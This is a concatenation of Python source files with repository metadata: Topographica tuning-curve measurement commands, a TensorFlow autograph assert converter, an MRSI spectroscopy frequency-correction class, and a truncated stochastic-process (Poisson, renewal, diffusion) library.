c1+col_centroid+0.5) xpref[r][c]= xcentroid ypref[r][c]= ycentroid sheet.sheet_views['XCoG']=SheetView((xpref,sheet.bounds), sheet.name, sheet.precedence,topo.sim.time(),sheet.row_precedence) sheet.sheet_views['YCoG']=SheetView((ypref,sheet.bounds), sheet.name, sheet.precedence,topo.sim.time(),sheet.row_precedence) pg= create_plotgroup(name='Center of Gravity',category="Preference Maps", doc='Measure the center of gravity of each ConnectionField in a Projection.', pre_plot_hooks=[measure_cog.instance()], plot_hooks=[topographic_grid.instance(xsheet_view_name="XCoG",ysheet_view_name="YCoG")], normalize='Individually') pg.add_plot('X CoG',[('Strength','XCoG')]) pg.add_plot('Y CoG',[('Strength','YCoG')]) pg.add_plot('CoG',[('Red','XCoG'),('Green','YCoG')]) class measure_or_tuning_fullfield(FeatureCurveCommand): """ Measures orientation tuning curve(s) of a particular unit using a full-field sine grating stimulus. The curve can be plotted at various different values of the contrast (or actually any other parameter) of the stimulus. If using contrast and the network contains an LGN layer, then one would usually specify michelson_contrast as the contrast_parameter. If there is no explicit LGN, then scale (offset=0.0) can be used to define the contrast. Other relevant contrast definitions (or other parameters) can also be used, provided they are defined in PatternPresenter and the units parameter is changed as appropriate. """ coords = param.Parameter(default=None,doc="""Ignored; here just to suppress warning.""") pattern_presenter = param.Callable( default=PatternPresenter(pattern_generator=SineGrating(), contrast_parameter="michelson_contrast")) create_plotgroup(template_plot_type="curve",name='Orientation Tuning Fullfield',category="Tuning Curves",doc=""" Plot orientation tuning curves for a specific unit, measured using full-field sine gratings. Although the data takes a long time to collect, once it is ready the plots are available immediately for any unit.""", pre_plot_hooks=[measure_or_tuning_fullfield.instance()], plot_hooks=[cyclic_tuning_curve.instance(x_axis="orientation")]) class measure_or_tuning(UnitCurveCommand): """ Measures orientation tuning curve(s) of a particular unit. Uses a circular sine grating patch as the stimulus on the retina. The curve can be plotted at various different values of the contrast (or actually any other parameter) of the stimulus. If using contrast and the network contains an LGN layer, then one would usually specify weber_contrast as the contrast_parameter. If there is no explicit LGN, then scale (offset=0.0) can be used to define the contrast. Other relevant contrast definitions (or other parameters) can also be used, provided they are defined in PatternPresenter and the units parameter is changed as appropriate. """ num_orientation = param.Integer(default=12) static_parameters = param.List(default=["size","x","y"]) def __call__(self,**params): p=ParamOverrides(self,params) self.params('sheet').compute_default() sheet=p.sheet for coord in p.coords: self.x=self._sheetview_unit(sheet,coord,'XPreference',default=coord[0]) self.y=self._sheetview_unit(sheet,coord,'YPreference',default=coord[1]) self._compute_curves(p,sheet) create_plotgroup(template_plot_type="curve",name='Orientation Tuning',category="Tuning Curves",doc=""" Measure orientation tuning for a specific unit at different contrasts, using a pattern chosen to match the preferences of that unit.""", pre_plot_hooks=[measure_or_tuning.instance()], plot_hooks=[cyclic_tuning_curve.instance(x_axis="orientation")], prerequisites=['XPreference']) # JABALERT: Is there some reason not to call it measure_size_tuning? class measure_size_response(UnitCurveCommand): """ Measure receptive field size of one unit of a sheet. Uses an expanding circular sine grating stimulus at the preferred orientation and retinal position of the specified unit. Orientation and position preference must be calulated before measuring size response. The curve can be plotted at various different values of the contrast (or actually any other parameter) of the stimulus. If using contrast and the network contains an LGN layer, then one would usually specify weber_contrast as the contrast_parameter. If there is no explicit LGN, then scale (offset=0.0) can be used to define the contrast. Other relevant contrast definitions (or other parameters) can also be used, provided they are defined in PatternPresenter and the units parameter is changed as appropriate. """ size=None # Disabled unused parameter static_parameters = param.List(default=["orientation","x","y"]) num_sizes = param.Integer(default=10,bounds=(1,None),softbounds=(1,50), doc="Number of different sizes to test.") max_size = param.Number(default=1.0,bounds=(0.1,None),softbounds=(1,50), doc="Maximum extent of the grating") x_axis = param.String(default='size',constant=True) def __call__(self,**params): p=ParamOverrides(self,params) self.params('sheet').compute_default() sheet=p.sheet for coord in p.coords: # Orientations are stored as a normalized value beween 0 # and 1, so we scale them by pi to get the true orientations. self.orientation=pi*self._sheetview_unit(sheet,coord,'OrientationPreference') self.x=self._sheetview_unit(sheet,coord,'XPreference',default=coord[0]) self.y=self._sheetview_unit(sheet,coord,'YPreference',default=coord[1]) self._compute_curves(p,sheet) # Why not vary frequency too? Usually it's just one number, but it could be otherwise. def _feature_list(self,p): return [Feature(name="phase",range=(0.0,2*pi),step=2*pi/p.num_phase,cyclic=True), Feature(name="frequency",values=p.frequencies), Feature(name="size",range=(0.0,self.max_size),step=1.0/p.num_sizes,cyclic=False)] create_plotgroup(template_plot_type="curve",name='Size Tuning',category="Tuning Curves", doc='Measure the size preference for a specific unit.', pre_plot_hooks=[measure_size_response.instance()], plot_hooks=[tuning_curve.instance(x_axis="size",unit="Diameter of stimulus")], prerequisites=['OrientationPreference','XPreference']) class measure_contrast_response(UnitCurveCommand): """ Measures contrast response curves for a particular unit. Uses a circular sine grating stimulus at the preferred orientation and retinal position of the specified unit. Orientation and position preference must be calulated before measuring contrast response. The curve can be plotted at various different values of the contrast (or actually any other parameter) of the stimulus. If using contrast and the network contains an LGN layer, then one would usually specify weber_contrast as the contrast_parameter. If there is no explicit LGN, then scale (offset=0.0) can be used to define the contrast. Other relevant contrast definitions (or other parameters) can also be used, provided they are defined in PatternPresenter and the units parameter is changed as appropriate. """ static_parameters = param.List(default=["size","x","y"]) contrasts = param.List(class_=int,default=[10,20,30,40,50,60,70,80,90,100]) relative_orientations = param.List(class_=float,default=[0.0, pi/6, pi/4, pi/2]) x_axis = param.String(default='contrast',constant=True) units = param.String(default=" rad") def __call__(self,**params): p=ParamOverrides(self,params) self.params('sheet').compute_default() sheet=p.sheet for coord in p.coords: orientation=pi*self._sheetview_unit(sheet,coord,'OrientationPreference') self.curve_parameters=[{"orientation":orientation+ro} for ro in self.relative_orientations] self.x=self._sheetview_unit(sheet,coord,'XPreference',default=coord[0]) self.y=self._sheetview_unit(sheet,coord,'YPreference',default=coord[1]) self._compute_curves(p,sheet,val_format="%.4f") def _feature_list(self,p): return [Feature(name="phase",range=(0.0,2*pi),step=2*pi/p.num_phase,cyclic=True), Feature(name="frequency",values=p.frequencies), Feature(name="contrast",values=p.contrasts,cyclic=False)] create_plotgroup(template_plot_type="curve",name='Contrast Response',category="Tuning Curves", doc='Measure the contrast response function for a specific unit.', pre_plot_hooks=[measure_contrast_response.instance()], plot_hooks=[tuning_curve.instance(x_axis="contrast",unit="%")], prerequisites=['OrientationPreference','XPreference']) class measure_orientation_contrast(UnitCurveCommand): """ Measures the response to a center sine grating disk and a surround sine grating ring at different contrasts of the central disk. The central disk is set to the preferred orientation of the unit to be measured. The surround disk orientation (relative to the central grating) and contrast can be varied, as can the size of both disks. """ pattern_presenter = param.Callable( default=PatternPresenter(pattern_generator=OrientationContrast(), contrast_parameter="weber_contrast")) size=None # Disabled unused parameter # Maybe instead of the below, use size and some relative parameter, to allow easy scaling? sizecenter=param.Number(default=0.5,bounds=(0,None),doc=""" The size of the central pattern to present.""") sizesurround=param.Number(default=1.0,bounds=(0,None),doc=""" The size of the surround pattern to present.""") thickness=param.Number(default=0.5,bounds=(0,None),softbounds=(0,1.5),doc="""Ring thickness.""") contrastsurround=param.Number(default=100,bounds=(0,100),doc="""Contrast of the surround.""") contrastcenter=param.Number(default=100,bounds=(0,100),doc="""Contrast of the center.""") x_axis = param.String(default='orientationsurround',constant=True) orientation_center = param.Number(default=0.0,softbounds=(0.0,numpy.pi),doc=""" Orientation of the center grating patch""") units = param.String(default="%") static_parameters = param.List(default=["x","y","sizecenter","sizesurround","orientationcenter","thickness","contrastcenter"]) curve_parameters=param.Parameter([{"contrastsurround":30},{"contrastsurround":60},{"contrastsurround":80},{"contrastsurround":90}],doc=""" List of parameter values for which to measure a curve.""") or_surrounds = [] def __call__(self,**params): p=ParamOverrides(self,params) self.params('sheet').compute_default() sheet=p.sheet for coord in p.coords: self.or_surrounds=[] orientation=p.orientation_center self.orientationcenter=orientation for i in xrange(0,self.num_orientation): self.or_surrounds.append(orientation+i*pi/(self.num_orientation)) self.x=self._sheetview_unit(sheet,coord,'XPreference',default=coord[0]) self.y=self._sheetview_unit(sheet,coord,'YPreference',default=coord[1]) self._compute_curves(p,sheet) def _feature_list(self,p): return [Feature(name="phase",range=(0.0,2*pi),step=2*pi/p.num_phase,cyclic=True), Feature(name="frequency",values=p.frequencies), Feature(name="orientationsurround",values=self.or_surrounds,cyclic=True)] create_plotgroup(template_plot_type="curve",name='Orientation Contrast',category="Tuning Curves", doc='Measure the response of one unit to a center and surround sine grating disk.', pre_plot_hooks=[measure_orientation_contrast.instance()], plot_hooks=[tuning_curve.instance(x_axis="orientationsurround",unit="%")], prerequisites=['OrientationPreference','XPreference']) class test_measure(UnitCurveCommand): static_parameters = param.List(default=["size","x","y"]) x_axis = param.String(default='contrast',constant=True) units = param.String(default=" rad") def __call__(self,**params): p=ParamOverrides(self,params) self.params('sheet').compute_default() sheet=p.sheet self.x = 0.0 self.y = 0.0 for coord in p.coords: self._compute_curves(p,sheet,val_format="%.4f") def _feature_list(self,p): return [Feature(name="orientation",values=[1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0,1.0],cyclic=True), Feature(name="contrast",values=[100],cyclic=False)] import types __all__ = list(set([k for k,v in locals().items() if isinstance(v,types.FunctionType) or (isinstance(v,type) and issubclass(v,ParameterizedFunction)) and not v.__name__.startswith('_')]))
jesuscript/topo-mpi
topo/command/pylabplot.py
Python
bsd-3-clause
49,227
[ "Gaussian", "NEURON" ]
29f883bc52f2eb5e545d2d29b4452580651a1f3ae5f928b29ca89c251bdaada1
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Converts assert statements to their corresponding TF calls.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import gast from tensorflow.python.autograph.core import converter from tensorflow.python.autograph.pyct import templates class AssertTransformer(converter.Base): """Transforms Assert nodes to Call so they can be handled as functions.""" def visit_Assert(self, node): self.generic_visit(node) # Note: The lone tf.Assert call will be wrapped with control_dependencies # by side_effect_guards. template = """ tf.Assert(test, (msg,)) """ if node.msg is None: return templates.replace( template, test=node.test, msg=gast.Str('Assertion error')) elif isinstance(node.msg, gast.Str): return templates.replace(template, test=node.test, msg=node.msg) else: raise NotImplementedError('can only convert string messages for now.') def transform(node, ctx): return AssertTransformer(ctx).visit(node)
kobejean/tensorflow
tensorflow/python/autograph/converters/asserts.py
Python
apache-2.0
1,734
[ "VisIt" ]
7e8042180bea0093cec3f9c9560023bffadac6c90b350c28da8335a4ff3fdf8f
"""Frequency correction class for MRSI modality.""" import os import cPickle as pickle import numpy as np from joblib import Parallel, delayed from scipy.special import wofz from scipy.optimize import curve_fit from ..data_management import MRSIModality from ..data_management import GTModality from ..utils.validation import check_modality_inherit from ..utils.validation import check_filename_pickle_load from ..utils.validation import check_filename_pickle_save from ..utils.validation import check_modality PPM_REFERENCE = {'water' : 4.65} PPM_LIMITS = {'water': (4., 6.)} def _voigt_profile(x, alpha, mu, sigma, gamma): """Private function to fit a Voigt profile. Parameters ---------- x : ndarray, shape (len(x)) The input data. alpha : float, The amplitude factor. mu : float, The shift of the central value. sigma : float, sigma of the Gaussian. gamma : float, gamma of the Lorentzian. Returns ------- y : ndarray, shape (len(x), ) The Voigt profile. """ # Define z z = ((x - mu) + 1j * gamma) / (sigma * np.sqrt(2)) # Compute the Faddeva function w = wofz(z) return alpha * (np.real(w)) / (sigma * np.sqrt(2. * np.pi)) def _fit_voigt_water(ppm, spectra): """Private function to fit water peak in one spectra. Parameters ---------- ppm : ndarray, shape (n_samples, ) The PPM array. spectra : ndarray, shape (n_samples, ) The spectra on which the water has to be fitted. Returns ------- popt : list of float, A list of the fitted parameters. """ # Get the value between of the spectra between 4 and 6 # Find the indices in that range water_limits = PPM_LIMITS['water'] idx_samples = np.flatnonzero(np.bitwise_and(ppm > water_limits[0], ppm < water_limits[1])) # Extrac the ppm and spectrum sub_ppm = ppm[idx_samples] sub_spectra = spectra[idx_samples] # Define the default parameters amp_dft = np.max(sub_spectra) / _voigt_profile(0., 1., 0., 1., 1.) mu_default = sub_ppm[np.argmax(sub_spectra)] popt_default = [amp_dft, mu_default, 1., 1.] # Define the bound param_bounds = ([0., water_limits[0], 0., 0.], [np.inf, water_limits[1], np.inf, np.inf]) try: popt, _ = curve_fit(_voigt_profile, sub_ppm, np.real(sub_spectra), p0=popt_default, bounds=param_bounds) except RuntimeError: popt = popt_default return np.real(popt) class MRSIFrequencyCorrection(object): """Phase correction for MRSI modality. Parameters ---------- base_modality : object The base modality on which the normalization will be applied. The base modality should inherate from StandaloneModality class. """ def __init__(self, base_modality): self.base_modality_ = check_modality_inherit(base_modality, MRSIModality) self.fit_params_ = None def fit(self, modality, ground_truth=None, cat=None): """Find the parameters needed to apply the phase correction. Parameters ---------- modality : object of type StandaloneModality The modality object of interest. ground-truth : object of type GTModality or None The ground-truth of GTModality. If None, the whole data will be considered. cat : str or None String corresponding at the ground-truth of interest. Cannot be None if ground-truth is not None. Return ------ self : object Return self. """ # Check that the modality is from the template class check_modality(modality, self.base_modality_) # Check that the data were read during the creation of the modality if not modality.is_read(): raise ValueError('No data have been read during the construction' ' of the modality object.') # In the fitting we will find the parameters needed to transform # the data # 1. Reshape all data for parallel processing spectra = np.reshape(modality.data_, (modality.data_.shape[0], modality.data_.shape[1] * modality.data_.shape[2] * modality.data_.shape[3])).T ppm = np.reshape(modality.bandwidth_ppm, ( modality.bandwidth_ppm.shape[0], modality.bandwidth_ppm.shape[1] * modality.bandwidth_ppm.shape[2] * modality.bandwidth_ppm.shape[3])).T # 2. Make the fitting and get the parameters params_opt = Parallel(n_jobs=-1)(delayed(_fit_voigt_water)(p, s) for p, s in zip(ppm, spectra)) # 3. Reshape the parameters array params_opt = np.array(params_opt) # Select only the shift parameters params_opt = params_opt[:, 1] self.fit_params_ = np.reshape(params_opt, ( modality.bandwidth_ppm.shape[1], modality.bandwidth_ppm.shape[2], modality.bandwidth_ppm.shape[3])) # Once the fitting is performed, we can modify the erronous findings. # These findings are the voxel to far from the center which we are not # interested anyway. We will find them and affect the mean value to # these ones. # 1. Find the median value for the shift med_shift = np.median(self.fit_params_) # 2. We will loop through all the spectra and the one which do not have # a maximum in the water area will be shifted using the median value water_limits = PPM_LIMITS['water'] for y in range(modality.data_.shape[1]): for x in range(modality.data_.shape[2]): for z in range(modality.data_.shape[3]): idx_samples = np.flatnonzero(np.bitwise_and( modality.bandwidth_ppm[:, y, x, z] > water_limits[0], modality.bandwidth_ppm[:, y, x, z] < water_limits[1])) if (np.max(modality.data_[:, y, x, z]) != np.max(modality.data_[idx_samples, y, x, z])): self.fit_params_[y, x, z] = med_shift # 3. Apply a 2 sigma rules to remove the potential outliers med_shift = np.median(self.fit_params_) std_shift = np.std(self.fit_params_) for y in range(modality.data_.shape[1]): for x in range(modality.data_.shape[2]): for z in range(modality.data_.shape[3]): idx_samples = np.flatnonzero(np.bitwise_and( modality.bandwidth_ppm[:, y, x, z] > water_limits[0], modality.bandwidth_ppm[:, y, x, z] < water_limits[1])) if (self.fit_params_[y, x, z] > med_shift + 2. * std_shift or self.fit_params_[y, x, z] < med_shift - 2. * std_shift): self.fit_params_[y, x, z] = med_shift return self def transform(self, modality, ground_truth=None, cat=None): """Correct the phase of an MRSI modality. Parameters ---------- modality : MRSIModality, The MRSI modality in which the phase need to be corrected. ground-truth : object of type GTModality or None The ground-truth of GTModality. If None, the whole data will be considered. cat : str or None String corresponding at the ground-truth of interest. Cannot be None if ground-truth is not None. Returns ------- modality : MRSIModality, Return the MRSI modaity in which the phase has venn corrected. """ # Check that the modality is from the template class check_modality(modality, self.base_modality_) # Check that the data were read during the creation of the modality if not modality.is_read(): raise ValueError('No data have been read during the construction' ' of the modality object.') if self.fit_params_ is None: raise RuntimeError('You should fit before to transform.') # Apply the shifting on the ppm grid for y in range(modality.bandwidth_ppm.shape[1]): for x in range(modality.bandwidth_ppm.shape[2]): for z in range(modality.bandwidth_ppm.shape[3]): # Compute the shift to apply shift_ppm = (self.fit_params_[y, x, z] - PPM_REFERENCE['water']) # Apply this shift to all the bandwidth modality.bandwidth_ppm[:, y, x, z] -= shift_ppm return modality @staticmethod def load_from_pickles(filename): """ Function to load a normalization object. Parameters ---------- filename : str Filename to the pickle file. The extension should be `.p`. Returns ------- bpp : object Returns the loaded object. """ # Check the consistency of the filename filename = check_filename_pickle_load(filename) # Load the pickle bpp = pickle.load(open(filename, 'rb')) return bpp def save_to_pickles(self, filename): """ Function to save a normalizatio object using pickles. Parameters ---------- filename : str Filename to the pickle file. The extension should be `.p`. Returns ------- None """ # We need to check that the directory where the file will be exist dir_pickle = os.path.dirname(filename) if not os.path.exists(dir_pickle): os.makedirs(dir_pickle) # Check the consistency of the filename filename = check_filename_pickle_save(filename) # Create the pickle file pickle.dump(self, open(filename, 'wb')) return None
glemaitre/protoclass
protoclass/preprocessing/mrsi_frequency_correction.py
Python
gpl-2.0
10,325
[ "Gaussian" ]
7b27b80a6be5d8abb6f2960e774fe1ae5ca4a68dbe5519b78c56d1d5dda79d4e
from __future__ import division """ PyProcess @author: Cameron Davidson-Pilon """ import numpy as np import scipy as sp import scipy.stats as stats from scipy.special import gammainc import warnings import matplotlib.pyplot as plt import pdb np.seterr( divide="raise") #TODO change all generate_ to sample_ class Step_process(object): """ This is the class of finite activity jump/event processes (eg poisson process, renewel process etc). Parameters: time_space_constraints: a dictionary contraining AT LEAST "startTime":float, "startPosition":float, """ def __init__(self, startTime = 0, startPosition = 0, endTime = None, endPosition = None): self.conditional=False self.startTime = startTime self.startPosition = startPosition if ( endTime != None ) and ( endPosition != None ): assert endTime > startTime, "invalid parameter: endTime > startTime" self.endTime = endTime self.endPosition = endPosition self.condition = True elif ( endTime != None ) != ( endPosition != None ): raise Exception( "invalid parameter:", "Must include both endTime AND endPosition or neither" ) def _check_time(self,t): if t<self.startTime: raise Exception("Attn: inputed time not valid. Check if beginning time is less than startTime (0 by default).") def sample_path(self,times, N=1): try: self._check_time(times[0]) except TypeError: self._check_time( times ) return self._sample_path(times, N) def sample_jumps(self,T, N = 1): self._check_time(T) return self._sample_jumps(T,N) def mean(self,t): self._check_time(t) return self._mean(t) def var(self,t): self._check_time(t) return self._var(t) def mean_number_of_jumps(self,t): self._check_time(t) return self._mean_number_of_jumps(t) def sample_position(self,t, N=1): self._check_time(t) return self._sample_position(t, N) def _mean_number_of_jumps(self,t, n_simulations = 10000): self._check_time(t) """ This needs to solve the following: E[ min(N) | T_1 + T_2 + .. T_N >= t ] <=> E[ N | T_1 + T_2 + .. T_{N-1} < t, T_1 + T_2 + .. T_N >= t ] where we can sample T only. """ warnings.warn("Attn: performing MC simulation. %d simulations."%n_simulations) v = np.zeros( n_simulations ) continue_ = True i = 1 t = t - self.startTime #should be positive. size = v.shape[0] sum = 0 sum_sq = 0 while continue_: v += self.T.rvs( size ) #count how many are greater than t n_greater_than_t = (v>=t).sum() sum += n_greater_than_t*i v = v[v < t] i+=1 size = v.shape[0] empty = size == 0 if empty: continue_ = False if i > 10000: warnings.warn("The algorithm did not converge. Be sure 'T' is a non negative random \ variable, or set 't' lower.") break return sum/n_simulations def _var(self,t): self._check_time(t) return self._mean_number_of_jumps(t)*self.J.var() def plot(self, t,N=1, **kwargs): assert N >= 1, "N must be greater than 0." for n in range(N): path = [self.startPosition, self.startPosition] times = [self.startTime] _path, _times = self.sample_path(t,1) for i in range(2*_path.shape[1]): j = int( (i - i%2)/2) path.append( _path[0][j] ) times.append( _times[0][j] ) #path.append( _path[0][-1] ) times.append( t) #pdb.set_trace() plt.plot( times, path, **kwargs ) plt.xlabel( "time, $t$") plt.ylabel( "position of process") plt.show() return class Renewal_process(Step_process): """ parameters: T: T is a scipy "frozen" random variable object, from the scipy.stats library, that has the same distribution as the inter-arrival times i.e. t_{i+1} - t_{i} equal in distribution to T, where t_i are jump/event times. T must be a non-negative random variable, possibly constant. The constant case in included in this library, it can be called as Contant(c), where c is the interarrival time. J: is a scipy "frozen" random variable object that has the same distribution as the jump distribution. It can have any real support. Ex: for a poisson process, J is equal to 1 with probability 1, and we can use the Constant(1) class, but J is random for the compound poisson process. Note 1. endTime and endPosition are not allowed for this class. Note 2. If you are interested in Poisson or Compound poisson process, they are implemented in PyProcess. Those implementations are recommened to use versus using a Renewal_process. See Poisson_process and Compound_poisson_process. Ex: import scipy.stats as stats #create a standard renewal process renewal_ps= Renewal_process( J = Constant(3.5), T = stats.poisson(1), startTime = 0, startPosition = 0 ) """ def __init__(self, T, J, startPosition = 0, startTime = 0): super(Renewal_process, self).__init__(startTime = startTime,startPosition = startPosition) self.T = T self.J = J self.renewal_rate = 1/self.T.mean() def forward_recurrence_time_pdf(self,x): "the forward recurrence time RV is the time need to wait till the next event, after arriving to the system at a large future time" return self.renewal_rate*self.T.sf(x) def backwards_recurrence_time_pdf(self,x): "the backwards recurrence time is the time since the last event after arriving to the system at a large future time" return self.forward_recurrence_time_pdf(x) def forward_recurrence_time_cdf(self,x): "the forward recurrence time RV is the time need to wait till the next event, after arriving to the system at a large future time" return int.quad(self.forward_recurrence_time_pdf, 0, x) def backward_recurrence_time_cdf(self,x): "the backwards recurrence time is the time since the last event after arriving to the system at a large future time" return int.quad(self.forward_recurrence_time_pdf, 0, x) def spread_pdf(self,x): """the RV distributed according to the spread_pdf is the (random) length of time between the previous and next event/jump when you arrive at a large future time.""" try: return self.renewal_rate*x*self.T.pdf(x) except AttributeError: return self.renewal_rate*x*self.T.pmf(x) def _sample_path(self,time, N =1): """ parameters: time: an interable that returns floats OR if a single float, returns (path,jumps) up to time t. N: the number of paths to return. negative N returns an iterator of size N. returns: path: the sample path at the times in times jumps: the times when the process jumps Scales linearly with number of sequences and time. """ if N < 0: return self._iterator_sample_paths(time, -N) else: return self.__sample_path( time, N ) #np.asarray( [self.__sample_path(times) for i in xrange(N) ] ) def _iterator_sample_paths( self, times, N): for i in xrange(N): yield self.__sample_path(times) def __sample_path( self, times, N=1 ): if isinstance( times, int): #not the best way to do this. """user wants a path up to time times.""" def generate_jumps( x, J, start_position): n = x.shape[0] return start_position + J.rvs(n).cumsum() _times = self.sample_jumps(times,N) _path = np.asarray( map( lambda x: generate_jumps(x, self.J, self.startPosition), _times) ) return (_path, _times ) else: # times is an iterable, user requests "give me positions at these times." pass #TODO def __sample_jumps(self, t ): quantity_per_i = 10 times = np.array([]) c = 0 #measure of size while True: c += quantity_per_i times = np.append( times, self.T.rvs(quantity_per_i) ) times = times[ times.cumsum() < t ] if times.shape[0] < c: #this will only happen if the list is truncated. return times.cumsum() def iterator_sample_jumps(self, t, N): for i in xrange(N): yield __sample_jumps(t) def _sample_jumps(self,t, N=1): """ Generate N simulations of jump times prior to some time t > startTime. parameters: t: the end of the processes. N: the number of samples to return, -N to return a generator of size N returns: An irregular numpy array, with first dimension N, and each element an np.array with random length. example: >> print renewal_ps.generate_sample_jumps( 1, N=2) np.array( [ [2,2.5,3.0], [1.0,2.0] ], dtype=0bject ) """ if N<0: return ( self.__sample_jumps(t) for i in xrange(-N) ) else: return np.asarray( [ self.__sample_jumps(t) for i in xrange(N) ] ) def _mean(self,t): #try: #return self.J.mean()*self.T.mean() #except: return self.J.mean()*self.mean_number_of_jumps(t) def _var(self,t): return self.mean_number_of_jumps(t)*self.J.var() def _sample_position(self,t, N = 1): """ Generate the position of the process at time t > startTime parameters: N: number of samples t: position to sample at. returns: returns a (n,) np.array """ v = np.zeros( N ) iv = np.ones( N, dtype=bool ) x = self.startPosition*np.ones( N) continue_ = True i = 1 t = t - self.startTime #should be positive. size = v.shape[0] while continue_: n_samples = iv.sum() v[iv] += self.T.rvs( n_samples ) #if the next time is beyond reach, we do not add a new jump iv[ v >= t] = False n_samples = iv.sum() x[iv] += self.J.rvs( n_samples ) size = iv.sum() #any left? empty = size == 0 i+=1 if empty: continue_ = False if i > 10000: warnings.warn("The algorithm did not converge. Be sure 'T' is a non negative random \ variable, or set 't' to a smaller value.") break return x class Poisson_process(Renewal_process): """ This implements a Poisson process with rate parameter 'rate' (lambda was already taken!). Parameters: rate: float > 0 that define the inter-arrival rate. startTime: (default 0) The start time of the process startPosition: (default 0) The starting position of the process at startTime conditional processes: If the process is known at some future time, endPosition and endTime condition the process to arrive there. endTime: (default None) the time in the future the process is known at, > startTime endPosition: (default None) the position the process is at in the future. > startPosition and equal to startPosition + int. ex: #condition the process to be at position 5 at time 10. pp = Poisson_process( rate = 3, endTime = 10, endPosition = 5 ) """ def __init__(self,rate=1, startTime = 0, startPosition = 0, endPosition = None, endTime = None): assert rate > 0, "invalid parameter: rate parameter must be greater than 0." self.rate = rate self.Exp = stats.expon(1/self.rate) self.Con = Constant(1) super(Poisson_process,self).__init__(J=self.Con, T=self.Exp, startTime = startTime, startPosition = startPosition) self.Poi = stats.poisson if ( endTime != None ) and ( endPosition != None ): assert endTime > startTime, "invalid times: endTime > startTime." self.endTime = endTime self.endPosition = endPosition self.condition = True self.Bin = stats.binom elif ( endTime != None ) != ( endPosition != None ): raise Exception( "invalid parameter:", "Must include both endTime AND endPosition or neither" ) def _mean(self,t): """ recall that a conditional poisson process N_t | N_T=n ~ Bin(n, t/T) """ if not self.conditional: return self.startPosition + self.rate*(t-self.startTime) else: return self.endPosition*float(t)/self.endTime def _var(self,t): """ parameters: t: a time > startTime (and less than endTime if present). returns: a float. recall that a conditional poisson process N_t | N_T=n ~ Bin(n, t/T) """ if self.conditional: return self.endPosition*(1-float(t)/self.endTime)*float(t)/self.endTime else: return self.rate*(t-self.startTime) def __sample_jumps(self,t): if self.conditional: p = self.Bin.rvs(self.endPosition, t/self.endTime) else: p = self.Poi.rvs(self.rate*(t-self.startTime)) path=[] #array = [self.startTime+(T-self.startTime)*np.random.random() for i in xrange(p)] jump_times = self.startTime + (t - self.startTime)*np.random.random(p) jump_times.sort() #for i in xrange(p): # x+=1 # path.append((array[i],x)) # i+=1 return jump_times def _sample_jumps(self, t, N=1): """ Probably to be deleted. T: a float N: the number of sample paths Returns: an (N,) np.array of jump times. """ if N<0: return ( self.__sample_jumps(t) for i in xrange(-N) ) else: return np.asarray( [self.__sample_jumps(t) for i in xrange(N)] ) def _sample_position(self,t, N=1): if self.conditional: return self.Bin.rvs(self.endPosition-self.startPosition, float(t)/self.endTime, size = N)+self.startPosition else: return self.Poi.rvs(self.rate*(t-self.startTime), size = N)+self.startPosition class Marked_poisson_process(Renewal_process): """ This class constructs marked poisson process i.e. at exponentially distributed times, a Uniform(L,U) is generated. parameters: rate: the rate for the poisson process U: the upper bound of uniform random variate generation L: the lower bound of uniform random variate generation Note there are no other time-space constraints besides startTime """ def __init__(self,rate =1, L= 0, U = 1, startTime = 0): self.Poi = stats.poisson self.L = L self.U = U self.startTime = startTime self.rate = rate def generate_marked_process(self,T): p = self.Poi.rvs(self.rate*(T-self.startTime)) times = self.startTime + (T-self.startTime)*np.random.random( p ) path = self.L+(self.U-self.L)*np.random.random( p ) return ( path, times ) class Compound_poisson_process(Renewal_process): """ This process has expontially distributed inter-arrival times (i.e. 'rate'-poisson distributed number of jumps at any time), and has jump distribution J. parameters: J: a frozen scipy.stats random variable instance. It can have any support. Note: endTime and endPosition constraints will not be statisfied. Example: >> import stats.scipy as stats >> Nor = stats.norm(0,1) >> cmp = Compound_poisson_process(J = Nor) """ def __init__(self, J, rate = 1,startTime = 0, startPosition = 0): assert rate > 0, "Choose rate to be greater than 0." self.J = J self.rate = rate self.Exp = stats.expon(1./self.rate) super(Compound_poisson_process, self).__init__(J = J, T= T, startTime = startTime, startPosition = startPosition) self.Poi = stats.poisson def _mean(self,t): return self.startPosition + self.rate*(t-self.startTime)*self.J.mean() def _var(self,t): return self.rate*(t-self.startTime)*(self.J.var()-self.J.mean()**2) """ def __sample_jumps(self,T): p = self.Poi.rvs(self.rate*(T-self.startTime)) x = self.startPosition path=[] array = [self.startTime+(T-self.startTime)*np.random.rand() for i in range(p)] array.sort() for i in range(p): x+=self.J.rvs() path.append((array[i],x)) i+=1 return path """ class Diffusion_process(object): # # Class that can be overwritten in the subclasses: # _sample_position(t, N=1) # _mean(t) # _var(t) # _sample_path(times, N=1) # # Class that should be present in subclasses: # # _transition_pdf(x,t,y) # # def __init__(self, startTime = 0, startPosition = 0, endTime = None, endPosition = None): self.conditional=False self.startTime = startTime self.startPosition = startPosition if ( endTime != None ) and ( endPosition != None ): assert endTime > startTime, "invalid parameter: endTime > startTime" self.endTime = endTime self.endPosition = endPosition self.conditional = True elif ( endTime != None ) != ( endPosition != None ): raise Exception( "invalid parameter:", "Must include both endTime AND endPosition or neither" ) def transition_pdf(self,t,y): self._check_time(t) "this method calls self._transition_pdf(x,t,y) in the subclass" try: if not self.conditional: return self._transition_pdf(self.startPosition, t-self.startTime, y) else: return self._transition_pdf(self.startPosition, t-self.startTime, y)*self._transition_pdf(y, self.endTime-t, self.endPosition)\ /self._transition_pdf(self.startPosition,self.endTime - self.startTime, self.endPosition) except AttributeError: raise AttributeError("Attn: transition density for process is not defined.") def expected_value(self,t, f= lambda x:x, N=1e6): """ This function calculates the expected value of E[ X_t | F ] where F includes start conditions and possibly end conditions. """ warnings.warn( "Performing Monte Carlo with %d simulations."%N) self._check_time(t) if not self.conditional: return f( self.sample_position(t, N) ).mean() else: #This uses a change of measure technique. """ sum=0 self.conditional=False for i in range(N): X = self.generate_position_at(t) 